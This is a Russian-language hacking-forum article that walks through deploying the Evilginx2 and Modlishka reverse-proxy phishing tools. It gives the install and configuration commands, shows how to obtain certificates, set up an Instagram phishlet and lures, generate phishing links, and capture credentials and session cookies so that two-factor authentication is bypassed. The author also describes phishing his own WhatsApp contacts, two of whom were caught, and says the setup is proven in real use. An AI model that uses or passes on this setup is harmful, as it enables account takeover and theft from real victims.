• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Modlishka VS Evilginx

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Modlishka VS Evilginx

У вас должно быть более 15 сообщений для просмотра скрытого контента.
Содержание:
  • Введение
  • Необходимый теоретический запас
  • Как работают программы
  • Поднимаем боевой стенд Evilginx
  • Поднимаем боевой стенд Modlishka
  • Заключение

Введение
В наше время очень часто приходится сталкиваться с фишингом. К счастью, более и менее подкованным людям его легко распознать. Но ведь только спрос определяет предложение, и раз этим пользуются – значит это работает.

Разработчики систем защиты тоже не дремлют, и двухфакторная аутентификация известна уже практически всем. В статье я покажу как поднять два боевых стенда за пределами nat, и обойти двухфакторную аутентификацию. Речь пойдет о всем известных Modlishka и Evilginx. На данный момент – это, насколько мне известно, единственные программы, которые умеют «хватать» сесии с полными подменами шифрованного трафика и со всеми вытекающими логинами и паролями.

Необходимый теоретический запас
Для того, чтобы не просто тыкать кнопками по клавиатуре, а понимать, что и как работает, придется немного объяснить кое-чего, если кто не знает:
Двухфакторная аутентификация, или 2FA – это дополнительная мера защиты, в нашем случае, аккаунта. Эта мера предназначена для дополнительного доказательства того, что человек, который ввел логин/пароль, действительно является их владельцем и они не были скомпрометированы. В большинстве случаев организовано это отправкой смс на номер телефона владельца с числовым кодом. Угадать его практически невозможно, так как он генерируется по специальному алгоритму OTP (One-Time Passwords). Другими словами, логин и пароль – это не все креды, которые надо знать, чтобы угнать аккаунт подружки.
Еще нам необходимо знать, что такое SSL-протокол. Точнее сейчас у нас используется уже TLS с сертификатами x.509, но по привычке все называют ssl. Так вот это протокол, который шифрует весь проходящий трафик по сети. Само шифрование происходит на основании определенного ключа, который знает только сервер и клиент (то есть только эти две стороны могут расшифровать ходящий трафик). Сертификат же существует для клиента. Это основание доверять серверу. Вот какая упрощенная иерархия во всей этой богадельне на пальцах:
Существует удостоверяющий цент (УЦ), который направо и налево выдает сертификаты с ключами. Их получает владелец доменного имени и имплантирует себе на сервер, после чего ходит довольный, и думает, что у него все по стандарту.
В свою очередь, когда клиент обращается к серверу (например, когда ты заходишь на codeby.net), браузер клиента получает сертификат от сервера. Браузер смотрит – а кем сертификат подписан (в каждом браузере есть все корневые УЦ). Если подписи сходятся, то серверу можно доверять (как наивно).

Эмм… О чем это я? А, да… Для чего я это все говорю. Сертификат можно и самому выпустит, только доверять ему будет только тот браузер, в который он был импортирован. Такие сертификаты называются самоподписанными. Может случалось хоть раз, что браузер выводил предупреждение о кривом сертификате? Так вот это он был кем-то выпущен самостоятельно.

Если вернуться к теме статьи – нам необходимо не просто перехватить учетные данные и сессию, а сделать так, чтобы все выглядело реально – иметь сертификат, надежное и защищенное соединение и, желательно, похожий на оригинальный домен. Сертификат, конечно, можно купить за несколько киллорублей в год, но ведь это не наши методы. К счастью, есть такой проект, под названием Let’s Encrypt. Эти ребята позволяют получить подписанный сертификат бесплатно, без смс и регистрации в хорошем качестве, на целых три месяца.

Это примерно все, что нужно знать, помимо того, как обогащать уран у себя в квартире, чтобы выполнить несколько несложных действий. Я описал все ну уж очень упрощенно, для особо дотошливых рекомендую к прочтению вот эту статью. А мы приступим непосредственно к программам.


Как работают программы
Теперь разберем теоретически как это все должно работать. Методика у этих инструментов практически одинаковая, поэтому просто объясню суть.

Задача такая: подкинуть жертве ссылку по которой она должна перейти на сайт – оригинал. Посередине будем мы сидеть и смотреть весь трафик. Классика MITM. Никакого фишингового сайта не будет. Программа поднимает обратный прокси-сервер, и просто редеректит все запросы и ответы со своего домена на оригинальный.

Теперь по поводу шифрования соединения. Когда жертва переходит по нашей ссылке, она получает наш сертификат на наш домен. Начинает ему доверять, обменивается ключами шифрования, и происходит соединение. Вот собственно откуда мы и получаем логины и пароли в открытом виде.

В свою очередь, наш MITM-прокси-сервер выступает с оригинальным сервером в роли клиента, и происходит все то же самое. Трафик от жертвы расшифровывается известным нам ключом, шифруется новым ключом, и отправляется дальше. Надеюсь всем понятно. Теперь приступим к практике.

Что нам нужно иметь: VDS, или белый ip-адрес (я лично брал вот тут). К этому ip необходимо иметь домен. Все это связать записью A. Еще потребуется компьютер, прямые руки и немного знание linux.


Поднимаем боевой стенд Evilginx

Статья приведена в ознакомительных целях. Ни автор, ни форум не несет ответственности за то, что ты можешь натворить приведенными ниже инструментами и техниками.
У меня на VDS установлена была Ubuntu 16.04, и у нее в репах очень старая версия языка GO. А так, как инструмент написан на нем, необходимо поставить более новую среду:
Код:
sudo add-apt-repository ppa:longsleep/golang-backports
sudo apt-get update
sudo apt-get install golang-go
Теперь указываем нужные пути интерпретатору:
Код:
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
Проверить можно, введя:
Код:
go env
Должен быть явно указан путь GOPATH

Рисунок 1. Команда go env
1563192177306.png


Устанавливаем сам Evilginx2:
Код:
apt-get install git make
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make
make install
Теперь, перед запуском, нам надо проверить не заняты ли у нас 443 и 80 порт. Программа это будет строго проверять. Эти порты нужны для проксирования и генерирования сертификата.
netstat –antp
У меня был занят 80 порт apache2 , поэтому придется его потушить. Не знаю откуда он взялся тут вообще на чистой оси-то.

Рисунок 2. Открытые порты в системе
1563192276500.png



Запускаем сам инструмент очень сложной командой:
evilginx

Теперь нам надо задать основные настройки инструмента. Все это делается командой config. Для справки неободимо ввести help перед командой. Вводим команду и смотрим стандартные настройки.
config

Рисунок 4. Дефолтные конфигурации Evilginx2
1563192448233.png


В данном конфиге нам необходимо знать, что поле domain соответствует нашему фишенговому домену, ip — соответственно программному адресу. redirect_url — это домен, на который будет переброшена жертва, которая перейдет по нашему чистому домену.

Задаем настройки:
Код:
config domain youDomain.com
config ip youIP
Редирект на домен можно не менять, можно поменять, это уже по желанию. Далее: программа работает, основываясь на двух сущностях: lures и phishlets.

Phishlets — это некие конфигурационные файлы, на основе которых осуществляется сама работа программы. В нем указывается по каким параметрам определять авторизацию, как выглядят coockie сессии и все остальные необходимые параметры для удачного фишинга. Находятся они в одноименном каталоге рядом с программой и имеют разрешение .yaml

Рисунок 5. Вид конфигурационного файла phishlets.
1563192497961.png


Lures или ловушки — это некие сущности, которые генерируют фишинговое направление трафика в некие разделы домена. Это можно сравнить с диском C у вендовозов. Там может находится Новая папка, Новая папка 1 и Новая папка 2. Примерная аналогия и тут — на одном домене может висеть несколько фишинговых переходов.

Lures и phishlets пересекаются с собой в работе. Дальше в практике все встанет на свои места.
Перед тем, как перейти к работе, стоит уточнить еще несколько моментов. В домашнем каталоге должна появится скрытая директория с названием инструмента. В ней находится основной конфиг (параметры. Которые мы указывали), база данных (там будут пойманые креды и сесии) и сертификат с ключом.

Если залезть в потраха сертификата, видно, что он корневой, и подписан как Evilginx Super-Evil Root CA. И выдан он на 10 лет. Скорее всего на основе именно этого сертификата выдаются более низкого ранга на домены. Чтобы вывести информацию о нем — необходимо воспользоваться командой:

openssl x509 -in ca.crt -text

И еще один совет: если ты будешь использовать VDS, и хочешь после отключения от SSH-сесии хочешь вернуться к ЗАПУЩЕННОМУ инструменту, используй screen.

Переходим к основной работе: для начала нам необходимо настроить phishlets. Я буду использовать инстаграм. Для того, чтобы увидеть все конфиги, просто вводим команду.
phishlets
Как видим — они пока пустые. Добавляем наш домен к выбранному конфигу:
phishlets hostname instagram ДОМЕН
Теперь создаем lures:
lures create instagram
В итоге все должно выглядеть как на скриншоте ниже

Рисунок 7. Программа, подготовленная к запуску.
1563192635275.png


Запускаем phishlets
phishlets enable instagram

Рисунок 8. Запуск
1563192688374.png


Как видно на скрине, генерируется сертификат и начинается прослушивание трафика. Чтобы получить ссылку для фишинга достаточно восполшьзоваться командой:
lures get-url 0

Где цифра — это id из таблицы (рисунок 7)

Теперь подкидываем фишинговую ссылку жертве, и ждем перехода по ней. Как только жертва перейдет и авторизуется — в выхлопе терминала мы увидим логин и пароль жетвы. Чтобы посмотреть все открытые сессии вводим.
sessions

Рисунок 9. Сессии
1563192741183.png


Теперь о двухфакторной аутентификации. Если жертве приходит смс-уведомление c кодом, который необходимо ввести, то логин и пароль получается нам ничем и не поможет. Однако, при авторизации жертвы, в выхлопе терминала, появляется вот такое сообщение:
all authorization tokens intercepted!
А это значит ни что иное, как мы перехватили сессию. Вводим:
session id

Где id — это номер сессии, и получаем куки!!!

Рисунок 10. Куки сессии.
1563192783798.png


Для того, чтобы импортировать куки в браузер, скачиваем и устанавливаем плагин.

Открываем страницу инстаграмма, открываем плагин, выбираем «импортировать», вставляем куки, перезагружаем страницу. Профит на лицо. Идеально? Очень!!!

Теперь о живучести сессии. Сессия живет до того момента, пока либо пользователь, либо ты сам не выйдешь с нее. Если жертва закроет данную вкладку браузера, не выйдя из сессии — все, она в твоих руках до момента, пока ты сам же ее и не закроешь. Чтобы переключаться по сессиям рекомендую просто импортировать куки, либо использовать анонимное окно браузера.

Хочу добавить. Поигравшись со стендом, я поднял такую штуку, и разослал 10-15 людям из списка контактов в вотсап со словами: «Смотри какая прикольная штука!!! Неплохо придумали». И двое из них попались. Как все просто и сложно одновременно.

Рисунок 11. Сессии жертв
1563192836885.png


Поднимаем боевой стенд Modlishka

Чтобы поднять Modlishka я использовал ту же систему, ту же VDS и то же доменное имя. Возвращаемся на исходную, имея при себе лишь чистую ось. Ставим туда Go с прошлого раздела один в один и экспортируем пути. Я еще советую поставить tmux, с ним удобнее работать.

Теперь о наболевшем: этот инструмент не умеет так работать с сертификатами, как предыдущий. Его надо добыть самому. И это необходимо сделать до того, как будем собирать саму программу. В wiki описано как сгенерировать сертификат самостоятельно, но опять же, кто его подпишет. Таким методом можно работать только в тестовом контуре, и сертификат необходимо будет импортировать в браузер жертвы. Заманить юзера по фишинговой ссылке – это уже искусство, а заставить провести манипуляции с браузером… - близко к невозможному. Поэтому ставим, у кого нет Apache (он пригодится при генерировании сертификата), и качаем Let's Encrypt:
Код:
apt install apache2
git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
и пробуем генерировать сертификат:
Код:
./certbot certonly -w /var/www/ -d www.example.com -d example.com
Программа задаст вопрос с 3 ответами – выбираем 1 пункт с Apache. Суть в том, что она может генерировать сертификаты с изменениями настроек web-сервера, поддерживает разные сервера, или, с ключем –webroot может вообще никуда не лезть. Более подробно можно прочитать в документации

Во время генерирования сертификата apache должен быть запущен, так как там проверяется доступность домена. После этой процедуры ключ и сертификат на домен будет располагаться в
/etc/letsencrypt/live/ДОМЕН

Теперь можно приступать к основному блюду:
Код:
go get -u github.com/drk1wi/Modlishka
cd /root/go/src/github.com/drk1wi/Modlishka/
Теперь необходимо содержимое ключа и сертификата записать в plugin/autocert.go. Заменяем две переменных соответсвтенно:
Код:
const CA_CERT - сертификат
const CA_CERT_KEY – ключ
Вот тут я и говорил про удобство tmux. У меня выглядело так:

Рисунок 13. Запись данных в файл.
1563192938429.png


Далее собираем программу.
make
Сам запуск программы происходит из каталога /distr файлом proxy. Программа работает в двух режимах: это прописать все опции и настройки руками, и минимальная команда будет выглядеть так:
Код:
./dist/proxy -target https://google.com -phishingDomain loopback.modlishka.io -listeningPort 443 –tls
Или же запустить, используя конфигурационные файлы. С инструментом идет 2 файла для фишинга: для google и office365. Запуск с одним из них выглядит так:
./dist/proxy -config /templates/google.com_gsuite.json
Играться мы будем именно с конфигом, поэтому детально на него посмотрим

Рисунок 14. Содержимое конфигурационного файла
1563192992114.png


Здесь нам необходимо поменять фишинговый домен и прослушиваемый ip-адрес на все нули. Еще обращаем внимание на значение trackingCookie = ident. Это важно.
Тушим apache и запускаем нашу программу.

На этот раз никакие ловушки создавать не надо. Достаточно просто закинуть жертве свой домен. Однако есть один нюанс, как в том бородатом анекдоте. Если добавить к домену /SayHello2Modlishka, то попадаем в панель управления сессиями. И вот в чем дело: если жертва перейдет по фишинговой ссылке и авторизуется, то мы увидим логин и пароль в выхлопе терминала, не более. Чтобы перехватить сессию, и она была доступна в панели, необходимо добавить к фишинговому домену «?ident=1» такую конструкцию. В итоге ссылка должна выглядеть примерно так: https://loopback.modlishka.io/?ident=1.

Как только жертва авторизуется на фишинговом google, в терминале мы увидим логин и пароль.

Рисунок 16. Авторизация жертвы
1563193103832.png


А в панели появится запись с тем же логином и паролем и возможностью воспользоваться сессией.

Рисунок 17. Панель управления перехваченными сессиями
1563193143554.png


При нажатии на большую желтую кнопку незамедлительно попадаешь в аккаунт жертвы, и ничего никуда копировать не надо. В этом и заключается очередной обход двухфакторной аутентификации.

Играться, как с инстаграмом, я не стал. Увод гугла грозит сильными последствиями вплоть до получения доступа к деньгам на карте через pay, поэтому воздержался.


Заключение
В заключении могу сказать лишь то, что оба варианта стабильно рабочие, все было проверено в продуктовых деяниях. И тот и тот инструмент поднять довольно легко, не скажу что у меня в приоритете использовать какой-то один.

Если дело дойдет до следующей части – то будет разбираться написание конфигов для фишинга соцсетей на оба инструмента. А пока, учитывая легкость настройки боевых продуктовых сервисов, с таким вот функционалом на борту, всем желаю не попадать на подозрительные ресурсы, и уж точно не вводить конфиденциальные данные.


Автор: 8bit
взято с codeby
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх